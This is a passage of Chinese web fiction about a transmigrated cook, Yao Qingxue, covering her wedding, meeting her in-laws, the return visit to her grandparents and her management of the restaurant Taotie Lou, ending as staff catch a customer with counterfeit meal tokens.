夜深了,宾客陆续离开,像韩家这等身份是不会有人去闹洞房的。新郎官送走最后一波客人,走进婚房。姚轻雪靠在床头睡着了。春佟想把她叫醒,韩泽挥挥手,春佟秋月退出房间。 韩泽站在床边静静地看着,总算把人娶回了家。只是新婚之夜,他都忍着没有喝醉,她反而毫无顾忌地睡着了,是不是太不把他当回事了? 姚轻雪心有所感缓缓睁开眼,俊美的男人长身玉立,她咽了咽口水,今晚这个男人就是她的了。新娘子眉眼一弯,柔声道:“怎么才来,等你很久!” 韩泽只觉得一股热流直冲脑门、下腹,他也等很久了。 烛光轻舞、月映佳偶,这是独属于两人的夜晚。 一夜颠鸾倒凤,次日两人都起晚了,等他们收拾好匆匆赶去正院,韩老夫人、韩将军和韩母都等在厅堂了。 向来脸皮厚的姚轻雪都觉得难为情,她瞪了一眼韩泽。从未开过荤的男人一旦沾了腥便一发不可收拾。折腾到天快亮才让她睡。本来想眯一会儿便起来给长辈行礼,哪知这一眯就眯到日上三竿。 小两口眉来眼去,几位长辈笑得合不拢嘴。 韩老夫人善解人意:“不碍事,咱家没有那么多规矩,以后你们想睡多晚都行。” 多在一起,她的大重孙就不远了。 第93章 第93章新妇 第一日新媳妇要给家中长辈敬茶,茶早就准备好了。韩泽与姚轻雪进门,便有丫鬟端着茶盏在一边候着。 姚轻雪跟随韩泽跪在韩老夫人面前,随后接过婢女手中的茶盏恭恭敬敬地递到老夫人面前。“祖母!请用茶。” “好!”和蔼的韩老夫人接过来喝了一口,然后放下茶盏,从婢女手里拿过一个盒子交给姚轻雪。“和润青好好过日子。” 姚轻雪满脸笑容:“谢祖母!” 随后便是韩将军与韩夫人,二人接过茶盏抿了一口便让小夫妻起来说话。起身后姚轻雪又拿了一杯送到芸姨娘面前。芸姨娘略感惊讶,但很快站起身接了姚轻雪的茶。 韩家人口简单,既无叔伯也没有家姑,四杯茶敬完便结束了。姚轻雪得了四个锦盒。她也给韩莺、韩娇、韩漳,还有韩浩夫妇都准备了礼物。 周芸姝道:“可算是把大嫂盼进家来了,以后我就有伴了。”周芸姝比成亲时圆润了不少,可见她婚后过得挺滋润。 因为新婚夫妻起晚了,其他人早膳已经用过,但午膳时间还未到,所以他们俩便回自己的院中用膳。 走时,韩母告知姚轻雪今后不必晨昏定省,有事就来正院一道用膳,其他时间随他们的便。 “多谢母亲!”姚轻雪十分感激。 以前做厨娘时她就知道高门大户规矩多,尤其是刚进门的新媳妇,早晚都要给公婆请安。听说孝顺的媳妇还会亲手给长辈做膳食。她要打理饕餮楼不可能每日围着婆母转,之前她还想要怎么把这件事给省了,如今看是多余了,韩夫人没想为难她。 回到东院姚轻雪打开盒子,韩父韩母和芸姨娘送的都是首饰。韩祖母给的盒子轻飘飘,打开一看竟是五千两的银票。 “祖母大气。”姚轻雪举着银票,眼睛笑成一条缝,“早知道我就给祖母多磕两个了。”啥都不如银子实在,金银首饰她喜欢,银票是最爱。 春佟和秋月都在努力忍笑,少夫人的性子就是这般。喜欢的讨厌的都会很直白地说出来,从不拐弯抹角。若是当时打开盒子,少夫人一准会给老夫人多磕几个头。 “就这点出息。”韩泽颇为无奈:“想来是祖母记挂饕餮楼的欠债,想借此补贴你。”祖母万事不关心,但却问了好几次饕餮楼的生意如何,可见她老人家是有多担心孙媳妇。 姚轻雪心想,除了最开始那几天她略感压力外,之后便该吃吃该喝喝,欠债的事不往心里搁,夜里也睡得很好,倒是身边的人替她愁。 姚轻雪收好银票和礼物,饭菜已经摆上桌。用过膳后,春佟领来两个十三四岁的丫鬟,“少夫人,这是香云,这是雨竹。” 说到谁,那人便上前躬身行礼,“见过少夫人!”随后李嬷嬷上前拜见。 春佟:“今后我们五人在东院伺候,夫人说若是人手不够您看中府上哪个尽管叫过来。” 她和韩泽大部分时间不在家,五个人伺候够了,要那么多人也是浪费。不过姚轻雪想要两个识字的,饕餮楼的账本繁杂,必须得有人替她分担这块,不然她一个人太辛苦。春佟秋月认字不多,不可大用。 “香云雨竹你们可识字?” 两个丫鬟点头,香云道:“我二人八岁就进了将军府,夫人让老嬷嬷教我们识字,后来又在先生教两位小姐时旁听,很多字读写没有问题,但若是写诗文便不行了。” 姚轻雪这才想起来,她先前似乎见过这两丫头。在韩家借住那段日子,她也听了几天课。当时屋内最后站了几个婢女,那时她还想富家小姐排场真大,上个课还有这么多婢女陪同,原来是旁听。“识字就好,不用写诗文,会算账吗?” 雨竹道:“会的,算盘也会打。” 姚轻雪大喜,婆母真是善解人意,知道她想要什么人。“今后你二人便掌管东院账目,每半月核一次饕餮楼的账。” 雨竹和香云并不惊讶,自从她们被将军府买进来精心培养时起,他们就跟普通丫鬟不一样了。不是伺候人的,而是要替主子分忧。 姚轻雪给五个人分派任务,春佟年岁稍长做事稳重,便让她做东院下人的总管。日常她和香云留在家里做事,秋月和雨竹每日随她外出,李嬷嬷还是将重点放在韩泽身上。 李嬷嬷自然没有意见,她照顾大少爷时间不短了,韩泽很多习惯甚至是脾气她都清楚。以前大少爷就不喜欢年轻的女孩近身,现在有了少夫人他应该也不想要婢女近身伺候。 知道今后各自该干什么,五人行礼后告辞退出房间。房门关上后韩泽笑吟吟地看着她:“不错,很有当家主母的气派。” “指使人有什么难,别把我看扁了。”姚轻雪身子一歪靠在男人身上,“母亲高瞻远瞩,给我培养了两个有才能的婢子。” 韩泽顺势一搂,将人拉进怀里在她额头上亲了一口,“你想多了,五六年前母亲可不知道她未来儿媳做这么大营生。” “那母亲为何让丫鬟识字?”姚轻雪抬手捏韩泽的下巴,短短的胡茬摸上去扎扎的。 “母亲觉得即便是下人也该认些字,不然紧要关头可能会耽搁事,但是并不是所有人都适合读书,春佟和秋月刚来时一看书就困,雨竹和香云应该还不错,所以母亲才会把人给你用。” 姚轻雪两手搂住韩泽的腰,下巴搁在他胸膛上,“母亲待我这般好,我该怎么感谢她呢?” “这个简单。”韩泽低头亲了下她的嘴唇,“尽快给她生个孙子。” 姚轻雪无语,生孩子,快,也得十个月后。韩父韩母喜欢她 做的饭菜,不如晚膳就给他们做一顿吧。 韩泽不同意,“这几天你属于我,哪也不准去,我们还是抓紧时间生孩子吧。” 大理寺少卿的婚假仅有三天,可怜见的,姚轻雪心疼他,而且新婚伊始,她也不想和韩泽分开。 几个丫鬟被李嬷嬷叮嘱过,即便是白天也都离卧房远远的,没有主子唤绝对不会过来打扰。韩夫人明令禁止韩莺和韩娇来东院,新婚小夫妻过了两天没羞没臊的生活。 三日回门,韩家准备了三辆马车,一辆载人,两辆装回门礼。韩夫人并未因为姚家门户低就轻看他们,回门礼准备的很足。 姚家二老吃过早饭便开始等,芽芽今日学堂都没去,辰时末终于把姐姐等回来了。 姚轻雪刚下马车就接住扑过来的妹妹,韩泽一手撑住她的腰,免得她被撞倒。 “想我了吗?”姚轻雪用力抱了抱妹妹,小姑娘比刚来她家时长高了不少。 埋在胸口的小脑袋用了点了点,姚轻雪心里柔软的像一团棉花。 “行了,才几天没见就这么腻歪。”刘氏看不过去,“往后几个月见不到,你可咋办?” 芽芽抬起头,“我去看姐姐。” 刘氏好笑,心想她也就一时不适应,等日子长了就没那么想了。“天冷,快让你姐姐姐夫进屋。” “爷爷奶奶!”姚轻雪上前抱了抱刘氏,然后又抱了抱姚福。姚福囧得老脸通红,“这么大的人了怎么还学会撒娇了。” “爷爷奶奶!”韩泽也跟着叫人。 “哎、哎。”姚福有些无措,到现在他都不适应韩泽对他恭敬有礼,这声爷爷也是叫他心肝颤。刘氏就要坦然得多。 韩泽与姚福去堂屋闲聊,其实这俩人聊不到一起,大多是韩泽挑起话头,姚福一板一眼地回答。韩大人也很无奈,妻子要与奶奶和妹妹说体己话,他只能跟姚家祖父坐在一起。 进屋后,刘氏仔细打量孙女,见她面色红润、眉眼舒展。过得好不好都写在脸上了,但她还是问了在韩家过得如何?公婆有没有为难人?等等。 听说她都不用请安,还可以睡懒觉,刘氏都觉得不可思议。这韩家对儿媳也太好了吧。“对老二媳妇也是这般?” “对啊。”姚轻雪咬了一口梨子,“韩夫人说有事就聚聚,没事别去她跟前碍眼。” 这是韩泽跟她说的,周芸姝嫁进韩家之后,也是自由得很,不用去正院给嫡母请安,至于芸姨娘如何待亲儿媳便不得而知了。但见周芸姝闲适的模样,想来芸姨娘也不是苛责的婆母。 刘氏忍不住感叹这韩家谁嫁进去都是福气啊。“对了,成亲那日你们刚走,便有人送来贺礼,说是你的朋友。你认识的人我和你爷爷差不多都认得,但却没听过有姓宋的。” 宋?姚轻雪敛了笑容,“叫什么名字?” “不记得了,我去拿账本。”刘氏就要起身,芽芽道:“叫宋筠。” “对对,是宋筠,名字怪好听的。”刘氏又坐下来,“他送本书,我还奇怪,成亲送银子的多见,送书的我还是头一次见。” 芽芽已经把书拿了过来,“我有小心地收好。” 姚轻雪拿起宋筠送的书,从封面上看是一本诗集,很厚,翻开后扉页写着:“赠故友,愿岁并谢,与长友兮。”再翻下来便是各朝各代的名家大作。 当初她学字心切,大概给宋筠留下了十分好学的印象,所以才会送她这本诗集。 “是我朋友送的,他知道我喜欢书。”姚轻雪将书交给芽芽,“这本诗集书肆大概买不到,你留着吧。” “嗯,我替姐姐保管,以后姐姐回家随时可以看。”芽芽开心地接过书。 拿到书时她就小心地翻看过,她喜欢里面的诗,还想着跟姐姐借来抄一本,没想到姐姐直接给了她。 第94章 第94章回门 回门要在娘家用膳,姚轻雪原本想亲自下厨,但刘氏说什么都不同意,秋月和雨竹也不让她进灶房。秋月说:“您现在身份不同了,是将军府的少夫人,万不可再下厨。” 姚轻雪无奈,其实她对少夫人这个身份没什么感觉,即便嫁进韩家,她也还是她,并不会因为身份变了便颐指气使。 不过她的想法也只是她的想法,在世人眼中她先是韩家少夫人,然后是饕餮楼的老板,最后才是她自己。而抛开前两者姚轻雪只是京城蝼蚁中的一员,不足为重。 姚轻雪待在房中与芽芽说悄悄话。姚福去灶房帮忙,韩泽感到无趣在堂屋逗弄鹦鹉。给它添米倒水,突然小鹦鹉开口:“姐夫、好!” 韩大人觉得有趣,提着鸟笼往媳妇的房间走去。刚到门口鹦鹉在笼子里扑棱翅膀。“不去、猫坏,不去、猫坏。” 芽芽打开门,把韩泽让进去。原本在床上安静趴着的小白“嗖”地跳下床直奔鸟笼,鹦鹉扑腾得更厉害了。“肥猫,滚。” 一个“滚”说的字正腔圆,一听就是平日没少说。这么长时间一鸟和一猫的关系仍旧不咋地。 “啾啾,不许骂小白。”芽芽训完鹦鹉,转身挡住白猫,“你要是敢咬啾啾,就再也不给你鱼吃了。” 小白看了鸟笼两眼,转身慢悠悠跳上床上继续趴着。 韩泽笑道:“被拿住七寸了。” “可不。”姚轻雪撸了一把小白肥硕的身体。这家伙伙食好,身上肉乎乎的,毛又长又厚,手感特别好。“好端端的你把鸟提进来作甚?这不是没事找事嘛。” 平常小白在芽芽卧房,鹦鹉在堂屋挂着,两只井水不犯河水,凑到一起必定要打一架。 “我想让你听听。”韩泽屈指弹了一下竹编的鸟笼,“再叫一声姐夫。” 鹦鹉眨了眨豆豆眼,仿佛没听懂,然后它转身冲床大叫:“肥猫、坏、坏!” 韩泽:“……”这破鸟,难怪小白不待见它,嘴贱。 姚轻雪捞住小白,免得它又冲出去。“它叫你姐夫了?芽芽你教的?” “没有啊。”芽芽摇头,然后一脸骄傲道:“啾啾可聪明了,一定是刚刚听见我叫姐夫,然后它就学会了。” “是挺聪明。”知道现在有人给它撑腰,才敢一而再再而三地挑衅天敌。韩泽将笼子放到桌上,他看了看被媳妇搂住的小白,抱着胳膊问:“要不要让它俩和好?” 芽芽拍手:“好啊好啊。”两只小宠整日打架,她可烦恼了。 于是无聊的韩大人和小姨子一人抱猫,一人提鸟,让它俩面对面。道理说了一箩筐,结果小白该扑笼扑笼,啾啾也还是一口一个“肥猫、坏。” 姚轻雪笑得捶床,“你俩可行了,不是一个物种做什么朋友。”小白在外面都不知吃多少鸟了,在它眼里啾啾和麻雀没两样。 两人努力告罄,午膳也做好了。今日孙女回门,老两口起了个大早,把姚轻雪爱吃的东西都买回来,张罗了一大桌子菜。 姚家三口、孙女、孙女婿在堂屋用膳,秋月、雨竹、曹叔和几个车夫在灶房支了张桌子。刘氏和姚福生怕他们吃不好,去灶房看了好几次。 姚轻雪:“爷爷奶奶,抽空把厢房收拾出来,我买两个人回来。” “买、买人?”刘氏筷子上的排骨都惊掉了,买人都是大户人家干的事,他们想都没敢想过。“买人做什么?” “你们每天要做那么多卤味,太累,得增加人手,雇人怕有人惦记方子。”饕餮楼卤味增加了好几个品种,老两口银子是赚了不少,但也很辛苦。 另外,赚得多也招人惦记,芽芽还小,姚福和刘氏年纪也大了,一旦有什么事三个人没有一个顶事的。 姚轻雪将利害关系跟二老说清楚,姚福和刘氏心里虽然不大能接受但也点头同意了。 午膳后又待了半个时辰小夫妻才离开,回去的路上二人拐去饕餮楼。成亲那日酒楼歇业,这两天姚轻雪都没来。当她看见门前拴着好几辆马车,便猜到锅子 应该卖的不错。 鲁冬看见姚轻雪乐颠颠跑过来,“东家来了!” “这两日生意可还好?” “好,好极了。”鲁冬眉开眼笑,“东家您不知道,辣锅子都订到十日后了,您瞧瞧不是饭点都来这些人。” 鲁冬今年十四,穷人家的孩子这么大都顶一个劳力了。姚轻雪征得他们本人同意,便让鲁冬等几个大点的桃儿街乞儿来饕餮楼做杂役。年纪小做不了重活,跑跑腿也是能做的。 姚轻雪承诺过:在饕餮楼做事的人,包括杂役在内,每个月会根据生意好坏和个人贡献大小,给每个人发放奖励。 几个孩子第一个月就拿到了做梦都会笑醒的工钱和奖励,他们很珍惜这份活计,做事都很认真。鲁冬几个也知道感恩,第一个月拿到的钱都交给了鲁老爹。并且保证以后也会拿出奖励中的一部分给桃儿园养小乞儿。 鲁冬向韩泽行过礼后,便接过曹叔手里的缰绳,去把马车停在拴马桩前。 韩泽随妻子走进饕餮楼,就像鲁冬说的,此时并非饭点,大堂却坐满了人。每张桌上都有一个铜制的锅子,食客大多点了鸳鸯锅。有人满头大汗,有人嘴巴辣红了仍往嘴里塞羊肉。 有人喊:“加炭!”,饕餮楼的伙计便从角落里提着木包铁的桶来到那桌前,面带微笑地说道:“劳烦客官让一让,免得烫着您。” 待客人往旁边侧身,伙计才用炭夹把燃红的木炭小心地放入锅胆内。“炭加好了,各位请慢用。” 没多久又有人喊:“加汤!”,话音刚落有人提着铜壶给那桌加了泛着油花的汤汁,看样子应是大骨汤。 整个大堂弥漫着又辣又香的气味,韩泽摸了摸肚子,后悔在姚家吃多了。“晚上吃锅子吧。” “好。”姚轻雪没有意见,饕餮楼的锅子也才刚推出三天,韩家人都还没吃过呢。“等会儿去后厨打包几样吃食,晚上回家吃锅子。” 韩府菜不少,但比饕餮楼还是差远了。在打算推出锅子之前,姚轻雪就在商行买了不少干海货和南方的菌菇等。饕餮楼的锅子可选食材达到五十种,这在京城独一无二,没有哪家酒楼比得上。 “我去看看。”韩泽走向后厨。 姚轻雪摇头失笑,现在的韩大人变成了一个吃货。 “东家!”徐成从楼上走下来。 “徐叔。”姚轻雪颔首,“这两日可还顺利?” “顺利,没出什么事,有个伙计弄炭时烫了下,但不碍事。这三天来的客人绝大多数点锅子,炒菜炖菜反而少了。”徐成笑道:“大厨们倒是轻松不少。”锅子只需把食材处理好,多几个帮厨就够了,大厨就没有用武之地了。 “叫大厨们不用担心,辣锅刚刚推出,会新鲜一阵子。再有锅子暖身,冬日点的人多,等来年天气转暖便是他们忙碌之时。” “有您这话他们就该放心了,几个厨子怕做的少,拿不到奖励。”大厨是按做菜的数量计算奖励,做的菜少可能就没有奖励。 姚轻雪笑道:“叫他们放宽心,饕餮楼不会亏了他们。另外要注意带孩童的客人,一定要提醒他们不要让孩子触摸铜锅。若是有意外尽快找郎中,旁的事后再说。” “您放心,大家都有按照您的吩咐提醒客人。咱们的幼童座椅横档放下孩子轻易起不来,也摸不到锅。” “好,您多费心。另外做一些提醒的木牌挂在墙上和包房。”她前世工作的地方就发生过小孩子把手伸进火锅里的事,最后酒楼赔了钱。到了她这赔银子是小事,这里的医疗水平可不比前世,万一有严重烫伤可能会毁了一个人,所以姚轻雪十分注意用餐安全。有些事必须耳提面命,防患于未然。 “乔掌柜呢?”姚轻雪进店这么久没瞧见乔旺。 “去商行了,南下的商队刚回来,听说运回来不少干货,他去瞧瞧,这两日食客反应好的干货得多备些,不然用没了没地方买去。” 徐成说完,账房赵先生在桌后拱手:“今日乔掌柜从账上支走三千两银子买干货,这几天不好去打搅您,便没有与您商量。” 饕餮楼的规矩之一是支取超过一千两的银子,要得到姚轻雪这个东家同意,否则账房有权拒绝。 “无妨。”姚轻雪道,“特殊事情特殊处理。”商行南下一趟最少要一个半月,若是去晚了酒楼需要的干货可能就没了,那损失可就大了。 这时韩泽从后厨出来,跟在他身边的小厮提着满满一篮东西,看来韩大人拿了不少吃的。 姚轻雪:“徐叔赵叔!你们忙,我明日便过来。” 坐上马车姚轻雪看了看韩泽拿的食材,有莲藕、鱼丸,豆皮、绿豆粉,泡发的海带、扇贝,还有虾滑、果冻,竟然还有一罐鸭血和一块牛百叶。 “这东西你没吃过吧?你怎么知道好吃。”姚轻雪好奇,以韩泽对食物的挑剔,应是没吃过牛百叶,他怎么就拿了回来? “你叮嘱过采买碰见牛百叶就买下来放在菜单里,我是相信你的。” 姚轻雪失笑,韩泽与其说相信她,不如说是吃货的直觉。牛肉难得,牛百叶更少。饕餮楼一小碟牛百叶定价八十文,而同等量的羊百叶仅要四十文。韩泽拿回来这一块估计能卖一两银子。 第95章 第95章婚后 晚上,芸姨娘母女、韩浩夫妻都来正院用膳,韩祖母破天荒走出她的院子。 韩娇吃了一小口芒果牛奶冻,幸福地眯起眼睛:“好好吃,比牛奶冻还要好吃!”饕餮刚开始卖牛奶冻时,姚轻雪给她们送过。 “嗯嗯。”韩莺连连点头,“大嫂!这个可以在家里做吗?这么少不够吃。” 果冻只拿回来一碗,女人们最多分到两口,韩将军想尝,但太少他没好意思开口。吃不到果冻,牛百叶、鸭血也很不错,尤其在辣锅里涮一下味道更好。 周芸姝期盼地看向姚轻雪,她长这么大第一次吃这个东西,眼前的芒果牛奶冻和酥山一样美味,吃一辈子都不会觉得腻。 韩母咽下香甜的芒果,“吃两口解解馋就行了,哪能在家里做。” 姚轻雪吃了口羊肉放下筷子,“可以,做法简单回头我教你,想吃什么水果都可以往里加。” “可不行教她。”韩祖母不赞同道:“这么珍贵的方子传出去损失可就大了,莺莺不许胡闹,你长嫂还指着它做生意赚钱还债呢。” 姚轻雪道:“祖母您多虑了,原料在海边很常见,京城少些罢了,而且做起来非常容易,已经有酒楼食肆在卖了。” 其实饕餮楼卖牛奶冻不久,京城就有酒楼卖果冻。毕竟石花菜能做冻不是秘密。只是别家酒楼没有姚轻雪花样多。当大家都在卖牛奶冻时,饕餮楼推出各种水果冻。现在又花高价买来南方水果,等别家效仿时,她已赚了一大笔。 “原来是这样。”韩祖母放下心来,“我喜欢吃梨子,可以往里加吗?” “当然可以,改日给您做。”老太太每日清粥小菜,难得提了一次要求必须满足。南方水果不易得,秋后的梨子街上多的是。 “好好,劳烦雪儿了。”韩祖母一脸慈爱。 第二日,韩泽婚假过完,他要去上直,姚轻雪同他一起出门。 韩莺要跟着。韩泽:“又想偷懒?” “才不是偷懒,母亲说今后我都不用上课了,她还让 我跟嫂子学呢。“韩莺挽住姚轻雪的胳膊,“大哥,你有意见找母亲去,反正我要跟嫂子去。”秦若昭说饕餮楼有很多新奇的点心,京城其他地方都没有,她早就想去吃了,但是饕餮楼开业后客人一直很多,父亲母亲不准她给大嫂添麻烦。今日去是跟嫂子学习,可不是去添乱。 姚轻雪:“让她去吧,待在家里也无事可做,怪无聊的。”大家小姐除了富,可真没什么乐趣,她要是像韩莺这般出门都难,非得把她憋疯不可。 韩莺过了这个年十五了,该相看人家了,是以韩母便停了她的课。但韩夫人觉得女儿过于简单,怕她将来到婆家受委屈,就想让她多长长见识和本事。儿媳就是非常好的例子,所以才叫韩莺跟姚轻雪多学一学。 看见马车走远韩娇撅着嘴满脸不高兴,芸姨娘无奈:“你到了姐姐这个年纪也不用读书。” “那还有好几年呢。”韩娇扯着娘亲的袖子撒娇,“娘,等休沐你带我去呗,听说饕餮楼有好多我没吃过的吃食。” “这得问你父亲,他同意娘便带你去。”即便韩家规矩不严,但她是妾,得遵守本分,没有韩母和韩父的准许她不可外出。 “那我去问父亲。”小姑娘等不及了,撇下母亲就往正院跑。 马车先将韩泽送到大理寺,然后才去饕餮楼。饕餮楼只做午膳和晚膳,这会儿还没有客人。进门后姚轻雪看了一眼墙上,徐成做事效率很高,昨日她说过的警示牌已经挂起来。 “东家您来了。”乔旺正带人整理桌椅,见姚轻雪进店,立马过来见礼。“东家新婚吉祥!” 伙计们全都放下手里的活,跟着掌柜拱手道贺:“东家新婚吉祥!” “大家辛苦了!”姚轻雪笑着回应,说了两句便让他们继续做事。然后她问乔掌柜:“昨日如何?” “收获颇丰,昨日车队刚进城我就得到消息,第一个去的商行,他们运回来的干货大部分让我给买了。咱们这个冬天都不用怕断货。”乔旺很得意:“我刚付完银子,万福楼的掌柜就去了,后来又有不少人去,都空手而归。”因为这个他可是挨了不少骂。 姚轻雪笑道:“难怪我今早打喷嚏,看来我也被骂了。” 乔旺:“饕餮楼生意红火,有人眼红也是正常。”若不是姚轻雪背靠镇远将军府,怕是找事的早就上门了。 姚轻雪去仓库看了乔旺运回来的干货,品质都很不错,这个冬天靠这些食材也能赚不少。从仓库出来便拐去后厨,刚到门口韩莺便道:“好香!” 饕餮楼锅子的骨汤每日清早现熬,这会儿已经煮了一个多时辰,香味飘散出来。 徐成正在检查今日食材。厨房二三十号人见主子进来都停了手里的活躬身行礼。姚轻雪让他们不用多礼,该干嘛干嘛。 她走到今早送来的食材前。萝卜白菜山药居多。徐成拿起一小把菠菜:“夏天两个铜板一大把,现在这么点就要十文,过些日子更贵,而且也不一定买得到。” 入秋后菜市的青菜逐渐少了,等上冻后菜市就不会有青菜卖了。饕餮楼每日消耗的菜量很大。尤其是锅子推出后,青菜用量翻了三倍。冬天若是没有青菜,势必会影响生意,哪怕只有一两样也好。 韩莺:“咱家暖棚不是有吗?” “暖棚那点都不够饕餮楼一天用的。”姚轻雪叹气,不过也不是完全没有办法。 从后厨出来,几人去了相邻的院子。防止串味儿,制作糕点的厨房设在东院。韩莺一进院门便开始咽口水,刚出炉的糕点实在太香了,唾液不自觉地分泌。 “东家!”负责制作糕点的于师傅走过来,“今日的蛋黄酥、雪花酥第一炉已出来,东家要不要尝尝?” “好!”姚轻雪走到木架前,观察装在盘中糕点的品相。 刚开始于师傅总是控制不好火候,经过一段时间的练习,现在火候刚刚好。颜色漂亮、香气四溢。 于师傅用竹夹把把每样糕点捡了六个放在盘中端到角落的一张圆桌上。姚轻雪坐过去拿了一块蛋黄酥放进嘴里,随后点了下头,“不错。” 用炉火就能将蛋黄酥做到这种程度已是十分厉害,说实话姚轻雪都不一定做得到,不愧是做了二十年糕点的老师傅。 于师傅憨笑:“是东家您的方子好,有些客人吃过后还会买一些带回家,糕点就蛋黄酥卖的最多。不过安定庄送鸭蛋的人说天冷鸭子不下蛋,用不了多久咸蛋黄怕是得断货。” 天冷鸭子不下蛋,这可真没辙,姚轻雪也没办法。“用黄豆沙代替蛋黄,但要与客人说明。” 于师傅喜道:“这倒是个好办法,”黄豆沙做好了味道也不差,蛋黄酥不停售,卖的越多,他能拿到的奖励也就越多。 吃过了蛋黄酥和雪花酥,姚轻雪拿起一块山药糯米糍,就听旁边传来“咳咳、”,循声望去,就见韩莺一脸渴望地看着她。 姚轻雪失笑,光顾着试吃,倒是把这个吃货给忘了。她把盘子往韩莺面前推,“吃吧。”然后又对身边的两个婢女道:“你们也尝尝。” 秋月和雨竹欢喜,两人等韩莺拿完才上前拿了一块蛋黄酥送进嘴里。酥脆绵密的口感立即征服了三位姑娘。韩莺吃一个紧接着又拿一个,两个丫鬟尝了一个便不在吃了。 “两位姑娘若是不嫌弃,这边有几个破了的。”于师傅端来一个盘子,里面有些裂口或是糊了地的蛋黄酥、雪花酥。炉火不好掌握火候,有破损是难免的。 秋月和雨竹看向主子,姚轻雪:“这些卖相不好,但味道都是一样的,想吃就吃吧。若是不喜欢就吃好的去,自家生意吃几个不打紧。” 秋月:“好的还得拿去卖呢,我们就吃这个,不然丢掉多可惜。” 于师傅心想哪里会扔,前面那帮馋小子抽空就过来问有没有做坏的?一点碎渣都恨不得都捡起来。穷人家的孩子没吃过多少好东西,也亏了东家心善,允许破损的给伙计们吃,但却不准带出饕餮楼。 姚轻雪又吃了一块黄米凉糕便住了嘴,于师傅做糕点的手艺高超,倒也不用她每次都试吃。她让于师傅包了一些糕点,准备带回去给母亲和祖母尝尝。待韩莺和两个丫鬟吃了个饱,四人才从东院出来。 再过一刻钟便要开门迎客。赵先生已经坐到柜台后。看见姚轻雪过来他把前几日的账拿出来给她看。 姚轻雪摆摆手,“月末再看,我信得过先生。” 巳时中一到,大门打开便迎来三桌客人,都是先前预定辣锅子的。乔旺拿出本子找到客人的记录,然后让伙计领人去楼上包房。之后陆陆续续有客人进店,午时初大堂已坐满了人。 人多便嘈杂,韩莺有些局促,姚轻雪把她带去角落里的小间。这里是她专用的休息室,不大,摆了一张桌子几张凳子,四人坐下便没多少空间了。 伙计送来热茶,出去后把门关上。韩莺道:“房间太小了,为何不在后院安排一间大的?” “我来又不是为了享受,要大房间做什么,这边离客人近,店里有事找我也方便。”姚轻雪道:“你若呆够了,我让曹叔送你回家吧。” “回家 也没人陪我。“韩莺摇摇头,“嫂子,你如何让这么多人都听你使唤?账本都不看,你就不怕他们贪银子吗?” 第96章 第96章仿制 饕餮楼每日流水几千两,若是有心做手脚,账房或是伙计贪一两半两完全不是问题。掌柜和管事又不可能盯着每一个人。 姚轻雪心道这不叫使唤而是管理,门道可多了,说了韩莺也不懂。她从抽屉里拿出一个本子:“这是饕餮楼的员工守则。” “员工守则?”韩莺疑惑地翻开厚厚的本子。从穿着到说话再到面部表情,这上面都有要求。一个人的言行竟然要做这么细致的规定,不过她还是不理解:“要求他们就能做到吗?不会偷懒吗?” 姚轻雪微微一笑:“赏罚并重,做得好有奖励,违反规定不但没有奖励还要扣工钱。你知道我店里的伙计做得好的话,一个月能拿多少吗?” 韩莺:“一两。”她家铺子里打杂的,每月九百文,这还是她娘多给了,在别家做事最多七八百文钱。 姚轻雪伸出一个巴掌,“最少五两。”银子到位人人都做得好,大多数伙计已经把守则背下来。 “这么多!”一个月五两银子,一年就有六十两,都赶上一个小官的俸禄了。韩莺唏嘘,“难怪饕餮楼的伙计眉开眼笑,做事积极。”在这里能赚到别的地方五六倍甚至十倍的工钱,搁谁谁不笑? 姚轻雪但笑不语,前世身为打工人,被克扣工资时,她恨不得掐把老板脖子,易地而处她不会做那等盘剥手下的主子。多劳多得天经地义。 “都有一家老小要养活,饕餮楼给的银子多,只要脑子正常便不会行偷盗之事,因为除了我这里,没人给他们这么高工钱。”姚轻雪喝了口茶。 不过也有心存侥幸的,刚开业不久就有个帮厨往家里偷肉,发现后立即送去衙门。偷了多少全部还回来,还在牢里蹲了半个月。后来那人跪在姚轻雪面前苦苦哀求,他想继续在饕餮楼做事。怎么可能有这么好的事?那次也算杀鸡儆猴,这之后伙计们勤勤恳恳做事,不该做的绝对不伸手。 韩莺合上本子看着姚轻雪,半晌才道:“你看上去也不是很聪明啊,脑子里怎么有这么多主意?” 姚轻雪翻了个白眼,“你这是夸我还是骂我?” “嘿嘿。”韩莺讨好地笑笑,“母亲说你大智若愚,让我多跟你学,以后我来饕餮楼帮你做事吧。”在这里比跟母亲参加宴会有意思,还能吃到好吃的糕点。 “过来帮我做事,你不相看人家了?”韩莺现在的重点是相亲、定亲。 “你不是十九才和我哥成亲嘛,我晚点也没关系。”韩莺嘟着嘴。表姐成亲后行事处处小心,每日要给婆母请安,还有两个嫂子时不时刁难她,稍有差池婆母便会把她叫到跟前训斥一番,日子可不比未出闺阁时舒坦。 姚轻雪心想这个我可管不着,韩莺的婚事韩父韩母说了算,她也就没说旁的。喝了会儿茶,她带人走出小间。 中午正是用餐高峰,大堂座无虚席,伙计们满头大汗、面带笑容。离他们最近叁拾桌的客人刚刚坐下。因为等得时间久了一男人很是不耐烦、言语无状,负责接待的伙计依然笑脸相迎,一边赔不是一边介绍店里的招牌。那桌客人最后点了十多两银子的菜。 伙计路过姚轻雪时喊了声:“东家。”便匆匆往后厨走去,没做停留。 韩莺戳戳姚轻雪后腰,小声道:“伙计为了赚银子,都不把你这个东家放在眼里了。”哪有下人见了主子不停下行礼的?反正在韩家不行。 “客人才是第一位,我不重要。”姚轻雪满不在乎,赚银子才是正事,她不在乎繁文缛节。 “东家!”账房赵先生喊了一声。 姚轻雪走过去:“何事?” 赵先生将三块木牌递给她:“有人拿假木牌来换菜。” 木牌的主人一听这话不干了,“什么叫假木牌,这牌子都是你们饕餮楼发的,说好了可以兑菜,你们不想认账?” “客官莫急,若是饕鬄楼的牌子我们定然会信守承诺。”姚轻雪接过赵先生手里的三块牌子凑近了瞧,在小饕餮肚子上有个不甚明显的116,并且三张木牌上的数字都一样。 用阿拉伯数字防伪是姚轻雪想出来的主意。木牌做起来并不难,很容易被仿制,于是她将每块木牌都标上没人看得懂的阿拉伯数字。饕餮楼送出去的木牌,上面的数字没有一块是重复的,这三块木牌里面至少有两块是假的。 “这位客官,饕餮楼赠出去的牌子都有特殊标记,这牌子是假的。你若知过能改本店不予追究,若是执迷不悔便去衙门说道说道。” 那人涨红了脸,叫嚣道:“放屁,分明都是真的,不想送明说就是,何必倒打一耙。”说着他伸手要拿回木牌。 姚轻雪后退两步:“仿制木牌要销毁,赎不能奉还。” 